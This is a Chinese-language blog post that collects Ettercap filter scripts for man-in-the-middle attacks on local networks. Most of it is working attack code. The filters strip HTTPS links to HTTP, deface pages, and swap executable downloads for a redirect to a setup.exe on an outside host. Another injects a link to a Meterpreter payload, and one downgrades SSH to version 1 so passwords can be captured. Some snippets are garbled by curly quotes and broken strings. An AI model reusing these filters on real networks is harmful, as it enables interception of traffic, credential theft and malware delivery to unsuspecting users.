Ettercap：Filter规则大发送

2012-05-07 06:11:46 By admin

Ettercap最初设计为交换网上的sniffer，但是随着发展，它获得了越来越多的功能，成为一款有效的、灵活的中介攻击工具。它支持主动及被动的协议解析并包含了许多网络和主机特性（如OS指纹等）分析。EtterCap是一个基于ARP地址欺骗方式的网络嗅探工具，主要适用于交换局域网络。借助于EtterCap嗅探软件，管理员可以检测网络内明文数据通讯的安全性，及时采取措施，避免敏感的用户名/密码等数据以明文的方式进行传输，较新的EtterCap工具可以到http://ettercap.sourceforge.net站点中下载

SSL跳转到http

```
################################################################################
# #
# HTTP Request/Response Filter -- hrf.ef -- filter source file #
# #
# by Jan Seidl (based on code from ALoR & NaGA) #
# #
# This program is free software; you can redistribute it and/or modify #
# it under the terms of the GNU General Public License as published by #
# the Free Software Foundation; either version 2 of the License, or #
# (at your option) any later version. #
# #
################################################################################

##
#
# This filter will substitute the word 'https' with 'http' on
# both HTTP requests and responses.
#
# based on the discussion (and contained code) on forum thread
# http://forums.remote-exploit.org/backtrack-v2-0-final/8126-ettercap-filter-3.html
#
##

##########################
## Zap Content Encoding ##
##########################
if (ip.proto == TCP && tcp.dst == 80) {
  if (search(DATA.data, "Accept-Encoding")) {
    replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("[HTTP Response Filter] Encoding zapped.\n");
  }
}
```

```
#####################
## Replace Content ##
#####################

##
# Requests
if (ip.proto == TCP && tcp.dst == 80) {
  # msg("[HTTP Response Filter] HTTP request seen.\n");
   if (search(DECODED.data, "https")){
      replace("https", "http");
      msg("[HTTP Response Filter] *** HTTPS ZAPPED from request\n");
   }
   if (search(DATA.data, "https")){
      replace("https", "http");
      msg("[HTTP Response Filter] *** HTTPS ZAPPED from request\n");
   }
}

##
# Response
if (ip.proto == TCP && tcp.src == 80) {
  # msg("[HTTP Response Filter] HTTP response seen.\n");
   if (search(DECODED.data, "https")){
      replace("https", "http");
      msg("[HTTP Response Filter] *** HTTPS ZAPPED from response\n");
   }
   if (search(DATA.data, "https")){
      replace("https", "http");
      msg("[HTTP Response Filter] *** HTTPS ZAPPED from response\n");
   }
}
```

替换HTTP数据包内容

```
if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as orig$
      msg("zapped Accept-Encoding!\n");
   }
}

if (ip.proto == TCP && tcp.src == 80) {
   replace("Google", "H4CK3D By DIs9Team");
   msg("Filter Ran.\n");
}
```

指定位置插入数据

```
\uFEFFif (ip.proto == TCP && tcp.dst == 80) {
  if (search(DATA.data, "Accept-Encoding")) {
    replace("Accept-Encoding", "Accept-gnidocnE");
  # note: replacement string is same length as original string
    msg("Encoding Taken Care Of...\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("head>  ", "head>    ");
msg("Replacement Filter Ran.\n");
}
```

替换保存数据包内容

```
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, “Accept-Encoding”)) {
replace(“Accept-Encoding”, “Accept-Mousecat”);
msg(“zapped Accept-Encoding!\n”);
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace(“keep-alive”, “close” “);
replace(“Keep-Alive”, “close” “);
}
if (ip.proto == TCP && search(DATA.data, “: application”) ){
msg(“found EXE\n”);
if (search(DATA.data, “Win32”)) {
msg(“doing nothing\n”);
} else {
replace(“200 OK”, “301 Moved Permanently
Location: http://www.dis9.com/setup.exe“);
msg(“redirect success\n”);
}
}
```

POST提交数据

```
if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
        replace("Accept-Encoding", "Accept-Nothing!");
     }
}

if (ip.proto == TCP && tcp.src == 80) {
     if (search(DATA.data, "")) {
        replace("", " action="http://192.168.1.6/meterpeter.exe" method="link">
just some instructions");
        msg("html injected");
     }}
```

其他端口数据包替换例子

```
if (tcp.src == 21 && search(DATA.data, "ProFTPD")) {
  replace("ProFTPD","TeddyBearFTPD);
}
```

ARP修谈 SSH密码

```
if (ip.proto == TCP) {
if (tcp.src == 22) {
if ( replace("SSH-1.99", "SSH-1.51") ) {
msg("[SSH Filter] SSH downgraded from version 2 to 1\n");
} else {
if ( search(DATA.data, "SSH-2.00") ) {
msg("[SSH Filter] Server supports only SSH version 2\n");
} else {
if ( search(DATA.data, "SSH-1.51") ) {
msg("[SSH Filter] Server already supports only version 1\n");
}
}
}
}
}
```

其他的 等待你补充